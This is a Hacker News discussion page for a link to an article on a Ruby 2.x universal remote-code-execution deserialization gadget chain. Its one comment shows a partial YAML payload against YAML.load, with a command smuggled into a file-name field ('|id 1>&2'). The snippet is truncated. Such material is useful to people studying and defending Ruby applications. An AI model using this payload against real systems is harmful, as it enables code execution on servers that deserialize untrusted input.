Hacker Newsnew | past | comments | ask | show | jobs | submitlogin
Ruby 2.x Universal RCE Deserialization Gadget Chain (2018) (elttam.com)
36 points by pentestercrab on Dec 29, 2019 | hide | past | favorite | 1 comment


The same gadget chain can alsobe used to exploit YAML.load [0] with the following:

    --- !ruby/object:Gem::Requirement
    requirements:
      !ruby/object:Gem::DependencyList
      specs:
      - !ruby/object:Gem::Source::SpecificFile
        spec: &1 !ruby/object:Gem::StubSpecification
          loaded_from: "|id 1>&2"
      - !ruby/object:Gem::Source::SpecificFile
          spec:
[0] https://staaldraad.github.io/post/2019-03-02-universal-rce-r...




Guidelines | FAQ | Lists | API | Security | Legal | Apply to YC | Contact

Search: